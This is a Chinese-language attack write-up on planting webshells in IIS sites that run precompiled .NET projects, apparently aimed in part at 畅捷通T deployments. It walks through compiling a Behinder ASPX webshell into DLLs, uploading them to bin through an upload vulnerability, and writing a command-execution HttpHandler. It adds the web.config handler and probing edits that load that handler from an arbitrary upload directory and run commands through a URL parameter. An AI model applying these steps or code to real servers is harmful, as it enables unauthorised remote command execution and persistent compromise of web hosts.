IIS下部署.Net项目时,功能代码存储在.aspx、.cs、. ashx等文件中,首次访问,IIS会进行动态编译,生成缓存二进制代码文件,这一点与Tomcat等中间件容器类似,目的都是提高后续访问速度。
当然,也可以在网站发布之前就对网站进行编译,称之为预编译。
预编译模式下将编译所有的.NET文件,当然HTML、图片、css等静态资源文件不包含在内,在预编译过程中编译器将创建的程序集存储于项目根目录下的Bin文件夹,另外也会同步到一个.NET特殊的目录 %SystemRoot%\Microsoft.NET\Framework\version\Temporary ASP.NET Files 文件夹下,Bin目录下会编译生成两类为文件,一类是扩展名为.compiled,该文件包含指向与该页相应的程序集名称;另一类文件是编译后的扩展名为.dll 的程序集文件。
如果项目复杂,可以选择预编译模式没在网站发布前对代码进行编译,发布编译后的二进制文件。
在网站发布时的一些选项和说明如下:
除了图形化界面操作预编译之外,Visual Studio还提供了命令行下的可执行程序aspnet_compiler 预编译.NET项目,具体的命令和释义如下:
aspnet_compiler -v /Lib -p D:\Project\web D:\release\web -fixednames
经过编译后项目文件夹中的所有.aspx, .ashx及App_Code中的.cs文件都会被编译成DLL文件,静态资源文件将不变,且复制到目的文件夹里。
.NET预编译项目后会多出一个Precompiled.config文件,此文件用来控制当前站点预编译状态,内容如下最关键的是updatable选项,当配置为 false 时,整个项目为预编译不允许更新,意思就是传入.cs文件将不能运行;只有为true的情况下才能正常运行.cs这样未编译的文件,另外此文件内容的更改或文件删除,均需要重启IIS才能生效。
<precompiledApp version="2" updatable="true"/>
由于保证兼容性,IIS对早前的ASP脚本一直支持,但是比较新的版本中,默认不开启对ASP的支持,例如IIS10里默认是不启用的,需要在应用程序功能配置上勾选上ASP,这样在.NET预编译模式下通过上传ASP木马可以GetShell,因为ASP脚本由 %windir%\system32\inetsrv\asp.dll 负责处理请求而.NET由 %windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll 负责处理,所以和.NET无关。IIS10里启用ASP配置如下
选择冰蝎Webshell的ASPX文件。
将aspx的webshell放入文件夹D:\Projects\WebSite2\App_Code\web,
然后执行:
aspnet_compiler.exe -v \ -p [aspxshell文件夹] [生成文件输出文件夹] -fixednames
得到dll和compiled、PrecompiledApp.config文件:
将PrecompiledApp.config放到网站根目录(采用预编译模式下的畅捷通T已经存在该文件,可以跳过这个文件的上传)。将dll、compiled文件放入bin目录(利用上传漏洞)。访问load.aspx即可得到webshell。
注意:由于畅捷通T运行在未勾选“允许更新预编译站点”的状态下,所以,无法直接执行aspx文件。
在预编译模式下唯一不编译的就是网站配置文件:web.config,它不参与编译并可以随时对站点目录下的Web.config 文件进行修改,而无需重新编译网站。有一种不能跨目录上传的场景(因为不能跨目录上传,所以编译好的DLL文件无法传至Bin目录下,从而不能GetShell),假定任意文件上传只能限定于固定目录下,比如/Lib/目录,而此时又满足对web.config文件的读写,这样的场景下可在编译的DLL里实现HttpHandler。
IIS提供的ISAPI是根据文件名后缀把不同的请求转交给不同的处理程序,几乎所有的.NET应用程序都交给 aspnet_isapi.dll 去处理了,但是aspnet_isapi.dll对不同的请求采取不同的处理方式,查看C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config配置定义如下
例如<add path="*.ashx" type="System.Web.UI.SimpleHandlerFactory" validate="True" verb="*"> 配置项中path属性是必选的,它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx ,表示默认任意文件名的一般处理程序ashx均可通过 System.Web.UI.SimpleHandlerFactory实现HTTP请求和响应, 其它的属性参考下表
由于System.Web.UI.SimpleHandlerFactory继承于IHttpHandlerFactory,所以我们如果想创建自定义的处置Handlers ,就需要继承IHttpHandler类,基于Handlers编写一个小马,代码如下:</add>
public void ProcessRequest(HttpContext context) { string cmdline= context.Request["cmdline"]; if (context.Request["method"] == "cmd") { Response.Write(ExeCommand(cmdline)); } }
在命令行下用csc.exe 生成 IsapiModules.Handler.dll ,生成 DLL 的命令如下
csc.exe /t:library /r:System.Web.dll -out:C:\out\IsapiModules.Handler.dll C:\Projects\test\IsapiModules.Handler.cs
将生成的 IsapiModules.Handler.dll 上传到当前目录Lib下(利用上传漏洞),做到这步已经完成了GetShell的第一步。
在站点根目录下的Web.config文件新增handlers/httpHandlers节点,我们选择在<handlers>标签内添加映射关系,一切URL请求带 .xxx的都从 IsapiModules.Handler 经过,配置详情如下:</handlers>
<system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="PageHandlerFactory ISAPI 2.0 32" path="*.xxx" verb="*" type="IsapiModules.Handler,IsapiModules.Handler" preCondition="integratedMode" resourceType="Unspecified"/> </handlers> </system.webServer>
但做到这里还不够,因为这样IIS只会去bin目录下寻找IsapiModules.Handler.dll文件,找不到就会抛出异常,可我们上传的dll位于Lib目录下,所以还需要增加一处配置,<probing privatepath="Lib"> 用于探索指定目录下的程序集并自动加载,如下</probing>
<configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <probing privatePath="Lib"/> </assemblyBinding> </runtime> </configuration>
这样就好了,http://localhost/anywhere.xxx?method=cmd&cmdline=whoami